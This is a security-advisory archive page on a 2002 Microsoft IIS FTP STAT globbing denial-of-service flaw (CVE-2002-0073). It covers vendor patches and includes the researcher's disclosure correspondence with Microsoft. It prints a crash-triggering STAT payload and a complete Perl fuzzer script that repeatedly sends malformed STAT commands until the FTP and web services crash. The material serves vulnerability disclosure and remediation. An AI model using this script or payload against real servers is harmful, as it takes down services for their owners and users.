SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (File Transfer/Sharing)  >   Microsoft Internet Information Server (IIS) Web Server Vendors:   Microsoft
(Exploit Details are Provided) Re: Microsoft Internet Information Server (IIS) FTP STAT Command Bug Lets Remote Users Crash Both the FTP and the Web Services
SecurityTracker Alert ID:  1004074
SecurityTracker URL:  http://securitytracker.com/id/1004074
CVE Reference:   CVE-2002-0073   (Links to External Site)
Date:  Apr 17 2002
Impact:   Denial of service via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 4.0, 5.0, 5.1
Description:   As part of their recent cumulative patch (MS02-018), Microsoft reported that a remote user can exploit a flaw in the FTP component of Microsoft Internet Information Server (IIS) to cause both the FTP and the web service to crash.

It is reported that IIS contains an error in the processing of globbing characters within a STAT status request message sent during an ongoing FTP connection. A remote user with a valid and authenticated FTP connection (including an anonymous connection, if permitted) can reportedly craft a STAT command that includes certain characters in the command to cause an error condition on the IIS server with a resulting access violation (crash). The crash reportedly occurs when a memchr call is passed a pointer which dereferences to a NULL.

A demonstration exploit example STAT command is provided:

STAT ?*<240 x X>

Some demonstration exploit scripts are available at:

(DoS PoC)
http://www.digitaloffense.net/msftpd/msftp_dos.pl

(Original "Fuzzer")
http://www.digitaloffense.net/msftpd/msftp_fuzz.pl

The vendor reports that the FTP service is enabled by default in IIS 4.0, but not in the later versions of IIS. The vendor also notes that the IIS Lockdown Tool disables FTP by default.

The vendor has assigned a 'Moderate' severity rating to this vulnerability for Internet and Intranet services.

Impact:   A remote user can cause the FTP and web server to crash. In IIS 4.0, this requires a manual restart to return to normal operations. In later versions of IIS, the service will automatically restart.
Solution:   The vendor has released a fix:

For Microsoft IIS 4.0:

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37931

For Microsoft IIS 5.0:

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37824

For Microsoft IIS 5.1:

http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37857

The IIS 4.0 patch can be installed on systems running Windows NT 4.0 SP6a. The IIS 5.0 patch can be installed on systems running Windows 2000 SP1 or SP2. The IIS 5.1 patch can be installed on systems running Windows XP Professional Gold.

Microsoft notes that the IIS 5.0 fixes will be included in Windows 2000 SP3 and the IIS 5.1 fixes will be included in Windows XP SP1.

For IIS 4.0 and 5.0, this patch reportedly supersedes the one previously provided in Microsoft Security Bulletin MS01-044.

There is a very large list of 'caveats' associated with this patch. See the Vendor URL for the list.

The vendor will issue Microsoft Knowledge Base article Q319733 shortly, to be available on the Microsoft Online Support web site.

Vendor URL:  www.microsoft.com/technet/security/bulletin/MS02-018.asp (Links to External Site)
Cause:   Exception handling error
Underlying OS:  Windows (NT), Windows (2000), Windows (XP)

Message History:   This archive entry is a follow-up to the message listed below.
Apr 12 2002 Microsoft Internet Information Server (IIS) FTP STAT Command Bug Lets Remote Users Crash Both the FTP and the Web Services



 Source Message Contents

Subject:  [VulnWatch] Microsoft FTP Service STAT Globbing DoS


A copy of this document can be found online at:
	http://www.digitaloffense.net/msftpd/advisory.txt
-----------------------------------------------------------------------------------------------

--[ Microsoft FTP Service STAT Globbing DoS

Summary:

	The Microsoft FTP service is vulnerable to a Denial of Service
	attack in the STAT command. This DoS can be triggered by a remote
	attacker using either a valid user account or the anonymous account,
	which is enabled by default. Once exploited, all services running
	under the inetinfo.exe process will terminate. On IIS 5.0 and above,
	these services are supposed to restart, on IIS 4.0 the services must
	be restarted manually. This vulnerability appears to be impossible to
	exploit to gain a remote command shell. Versions other than 4.0 and
	5.0 were not tested. Microsoft's advisory and a link to a patch is
	available online at:

	http://www.microsoft.com/technet/security/bulletin/MS02-018.asp

Details:

	This vulnerability was discovered in November 2001 by a "fuzzer"
	script I wrote to audit FTP daemons for problems in the globbing
	functionality. This script created and sent random arguments to the
	"STAT" command consisting of various combinations of globbing
	characters. The original fuzzer had to be modified to use the Windows
	glob characters instead of the normal Unix set. Within 20 seconds the
	script had caused an access violation on a fully patched IIS server.

        An example request which can cause the crash:

        STAT ?*<240 x X>

        The crash occurs when a memchr call is passed a pointer which
	dereferences to a NULL. It may be possible to overwrite this memory
	with an arbitrary path and use this exploit to obtain a directory
	listing, but all attempts so far have failed and constantly
	restarting IIS and retrying was getting old.


Scripts:

	(DoS PoC)
	http://www.digitaloffense.net/msftpd/msftp_dos.pl

        (Original "Fuzzer")
	http://www.digitaloffense.net/msftpd/msftp_fuzz.pl


Credits:

	The following people helped in one form or another:

        * bind
        * rkl
        * halvar
        * tsnoop
	* ah / da (vulnhelp)

History:

	Microsoft was notified of this vulnerability on December 2nd, 2001
	through the SecurityFocus VulnHelp service. This vulnerability was
	made "public" in early February at the SANS Network Security
	Bootcamp conference in Monterey, CA. Complete details about this
	vulnerability as well as a example perl script have been available
	from the Digital Offense web site since then. This was due to a
	miscommunication about the availability of a patch between myself and
	the Microsoft Security team. This confusion came about because
	another reported vulnerability had been silently fixed as part of the
	SP2 Security Rollup 1 Update and this vulnerability was assumed to
	have been fixed as well. When I asked MS about this later, they
	responded saying that they would announce the other vulnerability (MS
	SMTP BDAT DoS) during the _NEXT_ security update and the fix for this
	one was being held back until the IIS developers released a jumbo
	patch for all currently reported problems. Considering that they were
	told 3 months previous that people were actively developing exploits
	for this issue and now a few hundred people had been informed about
	it at the conference, I found their unwillingness to release a hotfix
	absurd. The entire email exchange is listed below.

--[ Email History

[ The Original VulnHelp Email ]

Microsoft FTP Daemon STAT Globbing Bug
Date: Sun, 2 Dec 2001 20:04:28  -0600
From: H D Moore <hdm@digitaloffense.net>
To: vulnhelp@securityfocus.com
The Microsoft FTP Service (5.0) crashes when a certain combination of
glob strings are passed to the STAT command. I was unable to control
the address of the crash, but since there is ample methods of placing
user data into memory, Im sure someone will be able to exploit it
given enough time. The perl code below should be sufficent to
demonstrate the problem.

As for a deadline on releasing a patch or making a public
announcement, the sooner the better, there are already a few people
developing exploits for it.

---------------------------------------------------------------------


#!/usr/bin/perl -w
##################

# cheezy perl to fuzz ftp globs
# this one is designed for msftpd and STAT

use Net::FTP;
srand(time() + int($$));

$target = shift() || "127.0.0.1";
my $user = "anonymous";
my $pass = "crash\@burn.com";

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || 
die "could not connect: $!";
$ftp->login($user, $pass) || die "could not login: $!";
$ftp->cwd("/pub");

# crash it
while (1)
{
    $g = GetGlob();
    print STDERR "Trying: $g\n";
    $ret = $ftp->quot("STAT $g");
    if ($ret !~ /^2/)
    {
        print "Error: FTP server returned an error response.\n";
        exit(1);
    }
}

$ftp->quit;

sub GetGlob {
    my $result;

    $len = 45;
    @globs = split(//, "?.\\*");

    # build a string consisting of random sequencs
    # of the glob character array
    for (1 .. $len)
    {
        $result .= $globs[int(rand() * scalar(@globs))];
    }

    # this provides some padding which is required
    # for the daemon to crash. my guess is that an
    # internal file name buffer is being overflowed
    # when a glob result string and a large char string
    # are combined, the length isnt checked.
    $result .= "A" x 200;

    return $result;
}

__END__

Only tested on Windows 2000 / MSFTPD 5.0 / Full Patches/ SP2:

Event Type:     Information
Event Source:   Application Popup
Event Category: None
Event ID:       26
Date:           12/2/2001
Time:           3:37:27 PM
User:           N/A
Computer:       SHATTERED
Description:
Application popup: inetinfo.exe - Application Error : The instruction
at "0x6fc6a35c" referenced memory at "0x00000000". The memory could
not be "written".

Click on OK to terminate the program
Click on CANCEL to debug the program




[ The Initial Microsoft Response ]

RE: [MSRC 961lt] Notification of Security Vulnerability
Date: Mon, 3 Dec 2001 17:45:14 -0800
From: "Microsoft Security Response Center" <secure@microsoft.com>
To: "Vulnerability Help" <vulnhelp@securityfocus.com>
Cc: <hdmoore@digitaloffense.net>, "Microsoft Security Response Center"




<secure@microsoft.com>
Hi -

Thanks very much for your note.  I'll start an investigation of this
issue immediately, and will let you know what I find out.  In the
meantime, I've assigned tracking number MSRC 961 to this issue.  If
you would keep it in the subject line of future notes on the subject,
it would make it easier to get status information for you.

Regards

Secure@microsoft.com



[ The Confirmation from Microsoft ]

RE: [MSRC 961lt] Notification of Security Vulnerability
Date: Tue, 8 Jan 2002 08:55:38 -0800
From: "Microsoft Security Response Center" <secure@microsoft.com>
To: <hdmoore@digitaloffense.net>
Cc: "Microsoft Security Response Center" <secure@microsoft.com>
Hi,

I just wanted to update you and let you know that we have successfully
reproduced this issue and plan on fixing it in the next rollup patch
for IIS.  We really appreciate you bringing this problem to our
attention and will update you on the timetable for release.  I am not
sure yet where we are with the next IIS rollup but as soon as I learn
I will update you again.

Thanks for your email and for working with us.

Kind regards,

secure@microsoft.com



[ My Response ]

Re: [MSRC 961lt] Notification of Security Vulnerability
Date: Tue, 15 Jan 2002 11:50:28 -0600
From: H D Moore <hdm@digitaloffense.net>
To: "Microsoft Security Response Center" <secure@microsoft.com>,
<hdmoore@digitaloffense.net>
Cc: "Microsoft Security Response Center" <secure@microsoft.com>

Will this patch also fix the SMTP BDAT crash reported a month
previously?



[ Their Response ]

RE: [MSRC 961lt] Notification of Security Vulnerability
Date: Tue, 15 Jan 2002 12:45:55 -0800
From: "Microsoft Security Response Center" <secure@microsoft.com>
To: "H D Moore" <hdm@digitaloffense.net>
Cc: "Microsoft Security Response Center" <secure@microsoft.com>
Hi,

Thanks for your note.  The SMTP BDAT issue is separate and will be
addressed in another patch.

Regards,

secure@microsoft.com



[ My Response ]


Re: [MSRC 961lt] Notification of Security Vulnerability
Date: Fri, 15 Feb 2002 01:48:44 -0600
From: H D Moore <hdm@secureaustin.com>
To: "Microsoft Security Response Center" <secure@microsoft.com>
Do you have an ETA on when the FTP issue will be fixed? The reason I
ask is that I (mistakenly) assumed that the SP2SR1 patch already
solved this problem and included the vulnerability in a presentation
at a recent SANS conference.

The reason for the confusion was simple, the SP2SR1 patch mentioned
many fixes related to IIS services, and a quick glance showed that it

addressed an issue with pattern-matching in the FTP service. Based on
your previous message, I assumed this was the correct patch for it and
let the cat out of the bag.

The SP2SR1 patch did fix the SMTP BDAT bug, which I did verify before
presenting the information. The materials are online, including a
script to verify the existence of the vulnerability. I have no problem
pulling the script off the site for the interim, but the attendees at
the conference already have copies of the slides which contain enough
information to exploit the bug...

URL for the conference materials:
http://www.digitaloffense.net/confs/bootcamp02/

Direct link to the slide addressing this bug:
http://www.digitaloffense.net/confs/bootcamp02/jpeg/smash/Slide67.html


On Tuesday 15 January 2002 02:45 pm, Microsoft Security Response
Center wrote:
> Hi,
>
> Thanks for your note.  The SMTP BDAT issue is separate and will be
> addressed in another patch.
>
> Regards,
>
> secure@microsoft.com
>
> -----Original Message-----
> From: H D Moore [mailto:hdm@digitaloffense.net]
> Sent: Tuesday, January 15, 2002 9:50 AM
> To: Microsoft Security Response Center; hdmoore@digitaloffense.net
> Cc: Microsoft Security Response Center
> Subject: Re: [MSRC 961lt] Notification of Security Vulnerability
>
>
> On Tuesday 08 January 2002 10:55 am, Microsoft Security
Response Center wrote:
> > Hi,
> >
> > I just wanted to update you and let you know that we have
> > successfully reproduced this issue and plan on fixing it in the
> > next rollup patch for IIS.  We really appreciate you bringing this
> > problem to our attention and will update you on the timetable for
> > release.  I am not sure yet where we are with the next IIS rollup
> > but as soon as I learn I will update you again.
> >
> > Thanks for your email and for working with us.
> >
> > Kind regards,
> >
> > secure@microsoft.com
>
> Will this patch also fix the SMTP BDAT crash reported a month
> previously?


[ Their Response ]

RE: [MSRC 961lt] Notification of Security Vulnerability
Date: Mon, 18 Feb 2002 12:10:40 -0800
From: "Microsoft Security Response Center" <secure@microsoft.com>
To: "H D Moore" <hdm@digitaloffense.net>
Cc: "Microsoft Security Response Center" <secure@microsoft.com>
Hi,

I appreciate your note and your candor.  I've forwarded this to the
IIS folks to see if we can seriously speed up the rollup or if we need
to work on an individual hotfix for your FTP issue MSRC 961.

In regards to the BDAT issue, we replied to them on Nov 18.  I enclose
the correspondence for your review.  Please let me know if there is
some misunderstanding because we received the report from them and
responded back to them.  I was under the impression that they would
handle getting the response back to you.  In the second email, they
note that they received our mail.  Please let me know if we are
missing something on our end.  I am concerned about this.

Regards,

secure@microsoft.com

-----Original Message-----
From: H D Moore [mailto:hdm@digitaloffense.net]
Sent: Monday, February 18, 2002 2:28 AM
To: Microsoft Security Response Center
Cc: Microsoft Security Response Center
Subject: Re: [MSRC 961lt] Notification of Security Vulnerability


On Friday 15 February 2002 10:28 am, Microsoft Security Response
Center
wrote:
> Hi,
>
> The FTP issue is due to come out in an IIS rollup patch.  We are
> pushing the priority of this patch because we feel there are issues
> that merit one sooner rather than later.  I would look for it in the
> coming month - even though I cannot guarantee it I feel fairly firm
> on this.  The IIS devs are really working with us and understand the
> reasons we are pushing.

The initial email I sent through vuln-help (early December) stated the
vulnerability had become known to a handful of people, and that those
people were actively developing exploits for it. The bug was
determined to be non-exploitable (in a remote command shell granting
way), but the DoS aspect is trivial to reproduce. It has been two
months now and I am positive that there are people actually taking
advantage of this in the wild.

> In regards to presenting this issue at a conference, it seems to
> me to be an honest mistake.  Unless you feel that this
> vulnerability is being exploited in the wild, I would still like
> the IIS rollup to be the ship vehicle.  Please let me know your
> thoughts - I am sincerely interested.

I am already getting a flood of email about details of this
vulnerability and the availability of patches. So far, I have been
recommending to just disable anonymous access and sit it out a month,
but a hard release date would be preferable.

I would feel much better about the whole situation if it wasn't for
the way the SMTP BDAT bug was handled. A notification was sent
through vuln-help on November 13th, 2001, yet I received no response
on it until January 15th, 2002. To make matters worse, the SP2SR1
silently fixed this bug, with no mention of it in the online
documentation, and no notification was ever sent to me stating that
this patch addressed the bug. This bug will become public knowledge
today.

> Thanks for the update.  Let me know if there is anything else we can
> do.

When will the IIS rollup patch be available? If there will be more
than a week's delay, would it be possible to release a hotfix for it
instead?



 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC